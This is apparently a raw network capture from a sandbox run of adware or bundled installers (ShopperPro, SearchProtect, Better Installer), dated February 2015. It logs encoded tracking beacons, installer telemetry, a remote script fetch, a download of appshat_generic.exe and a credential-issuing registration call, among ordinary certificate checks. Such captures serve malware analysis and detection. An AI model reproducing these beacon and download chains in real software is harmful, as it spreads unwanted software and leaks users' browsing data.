e15a848e5c2bc019529785a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: mafO
x7TeMNBlcBPPIXKd5HjbpSfu8dNncuyLCZzx6dm3TQO0E7WMdA==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /app/ping.ashx?e=b1dRW7RxYKdJjQ9qCj/WvbKW jgHPjrHhlayNm4kVPIicvsFwQStECv5F5wArPI/YCpHZc9ZUaG4NIBMq aAlNZDXSYpq/nUqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolL4gXfkICGh925RhGZE 4NZmE/1e1gQHwqYCKfWShVRE5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUzbwgw3rD0uB2wUbmkSx2152AdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNvSmHP4Ozv8O5eEKXCI1fi6Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:18 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:18 GMT..Content-Length: 0..

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:04:03 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d756356e8b020dfae579a33ac5d5edf231424743443; expires=Wed, 24-Feb-16 02:04:03 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 19 Feb 2015 03:11:58 GMT

Expires: Mon, 23 Feb 2015 03:11:58 GMT

ETag: "13515fcfa040b497356aa40b58effca759ac8719"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1bd8171cc14e0c71-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0219031158Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150219031158Z....20150223031158Z."0 0..
. .....0......20140219031158Z0...*.H.................#w.Q......<b..
G^...P./.....S .O^.~.n...../..?..G......C"t~..../..H........0.ujH.;...
..T..v...mvy...g...........f.$e...^ ...q.Dx'.L..........p..YpWC.($..L.
Ng...b....g...y,.G.4.&.lI.8......w.E.....r......&...F....bA.]......Z..
a...N........."4.~...\z.........0...0...0..........Z..~..M..<ZYJ...
.~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
.....sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w...
w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3....
L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....<.
}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..9.#<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:04:04 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d34fbf5c6c5d6e4e4c38463b30dcbb6a51424743444; expires=Wed, 24-Feb-16 02:04:04 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 19 Feb 2015 03:11:58 GMT

Expires: Mon, 23 Feb 2015 03:11:58 GMT

ETag: "13515fcfa040b497356aa40b58effca759ac8719"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1bd8172071d00c71-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0219031158Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150219031158Z....20150223031158Z."0 0..
. .....0......20140219031158Z0...*.H.................#w.Q......<b..
G^...P./.....S .O^.~.n...../..?..G......C"t~..../..H........0.ujH.;...
..T..v...mvy...g...........f.$e...^ ...q.Dx'.L..........p..YpWC.($..L.
Ng...b....g...y,.G.4.&.lI.8......w.E.....r......&...F....bA.]......Z..
a...N........."4.~...\z.........0...0...0..........Z..~..M..<ZYJ...
.~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
.....sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w...
w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3....
L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....<.
}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..9.#<<< skipped >>>

GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:36 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..1..0..

GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Owsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=IF2Owsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: inst.shoppingate.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 12 Feb 2015 09:31:04 GMT

ETag: W/"9ce52f9fa646d01:0"

X-SN: 03

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

Expires: Wed, 25 Feb 2015 02:02:58 GMT

Cache-Control: max-age=86400

X-Cache: HIT

Content-Encoding: gzip
62f6..............yW.I......w...JY...]..4.1.... \.....L-XHX....g..{c.L
..].3.....2..7..7>...on:......:.j..k.VwG..s.f4..'.o.J{8...n8.{....I
o8(..Vx...&..z.t{.(.L..p...?.... g.r.4..J........p.2.NV....di....,:n]e
......(...Ag.}.....q;.L......$q._..(....j....e.....JI...XN).....v]L.[O
Wz...5.Qv.^.c.YR...r...t}}6...>(.Po.f...9.......{...n.....u'Q.m..l2
..6......:..l0...[XS..M.[...K...a9]...4...T......7..?6./.PJ.m..mT.....
n......g......C..>..3 .i|..Ik\.:.TJ6.v.-..iB...=..v..M..c..JZWK..0.
r..............d...2.n.q..6............ T...l<.G....I7?.)3...x.~..m
.....Oc.........0.BBz.#..?....t.<:~._..w..N...=.....g....G....g....
...........g.7O._.......O.w........~.qp..yp.8;}k..Cy.........{o.......
Od..-..... S.Z-.....)V...-.T..B.C..C......h[|...G.C.*.cQR....SH.......
).A.fA*.Q|s....}.0..3^.....".....E...". q.....l@...*'.m\.......d'.....
.jXC.d....J.p..S/...Jj.....t.0....f......<....kks....... .i2..I..|.
g.n.MV.`..*.?s.8.[...[..... ..i.>`....Nt~Y...N..V....Z .......tv...
.Q..Pv...$.....i...A..j.....L.]...;.......w.i.].?d<...$;.Y]/...Y.!.
-..". K.m.5...[.ww.Z.......h.........'...`j.&..^..K....V.v..`=..3]...o
......X .(..U&.x...o.o.....fe.....kE...R...."X....;.Zpq1..K....S.$.x..
..;)m.......aE.....,\..5...2.N.W.4W...)O...vyP.F)... ..K..BF|s..\..z.1
..#..W./"M...r.c2.V.K.C}B.....4...b..W.QA..p.......UN..-....>M...[?
..B.I.qy....{..[R...I<.V.v.......(..t.....%I..*..&..j.ab [...~.....
.E..n".Jp.....< ;k.G.....Wo...P...)..p....~E.`p~u.%. ...N.....>@
.3q~......Hf{}P.......?.....~=@..<0.....z;[email protected]..<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./..&L.$(.....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:01:26 GMT

Expires: Sat, 28 Feb 2015 02:01:26 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08
0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190331Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.&L.$(.......20150223190331Z....20150302190331Z0...*.H.............J..
..X..4y.. .M_Df.....C.W......3E...e..6.VR..X.S%..(D6.}[..q.l......g...
.I...0............<.....Z.)(.r...0.G..X.......B;?fQ...(.38..?.n.;..
<.....l]...."......Ebhhz......?...zIc~.*..?Py...2?.~K.F..TD.._F`...
:...*k...k....._...X:..Ja .zl.m.X.v......;a".2B..HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 02:01:26 G
MT..Expires: Sat, 28 Feb 2015 02:01:26 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=0.08..0..........0..... .....0......0...0......J......h.v...
.b..Z./..20150223190331Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./..&L.$(.......20150223190331Z....20150302190331Z0...*.H
.............J....X..4y.. .M_Df.....C.W......3E...e..6.VR..X.S%..(D6.}
[..q.l......g....I...0............<.....Z.)(.r...0.G..X.......B;?fQ
...(.38..?.n.;..<.....l]...."......Ebhhz......?...zIc~.*..?Py...2?.
~K.F..TD.._F`...:...*k...k....._...X:..Ja .zl.m.X.v......;a".2B..t>....<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.......0....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:01:27 GMT

Expires: Sat, 28 Feb 2015 02:01:27 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08

0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
......0......20150223190250Z....20150302190250Z0...*.H...............G
F...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.Q.....iw.Aa..
......lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c..a...........
...p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_............K1..
C.....]..p.0.......D...J"......;.L.`7.V....HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 02:01:27 GMT.
.Expires: Sat, 28 Feb 2015 02:01:27 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150223190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.......0......20150223190250Z....20150302190250Z0...*.H...
............GF...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.
Q.....iw.Aa........lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c.
.a..............p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_...
.........K1..C.....]..p.0.......D...J"......;.L.`7.V......

<<< skipped >>>

GET /v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:52 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.89 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:52 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.89 ms","message":"store 4 ac
tion and 0 update "}..0..

GET /app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=JSsmtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 24 Feb 
2015 02:02:58 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AUy6iBKhV-u0qnOuXK1i4XBonD2x0YIPLvh913POl3b5UTCP8anngA==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:23 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>8a7f8cc0-b6a0-4d37-a17c-90a0a499
110d</ID>.<PW>5af2Sl0a</PW>.</USER>.</RESUL
T>...

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.90 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:23 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.90 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:29 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.36 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:29 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.36 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdJ/lupoMJFd0NrbGxnyQjvNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D2D7r1__FaGZ9hKmk0RMC2I3kJ-pK_WfA7cKURPjTemVl-4Djch--w==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Xb8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekWAdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNv7PDEbG44Ov1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gq9VhOnKblFodfvUCP8wFTVUZyr7Irycz8P_3-eROI0AG-Mu4vS8lA==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DbblqPnMI0cztthcuySNTccwVoq0_JIPNGeG2g-6gEmUo3RDPCeSMg==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1UCFMPu/XF4Lika8ANLts6GMOD1JqSN m2HMa5E8LXYXQijcfGynTXw2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

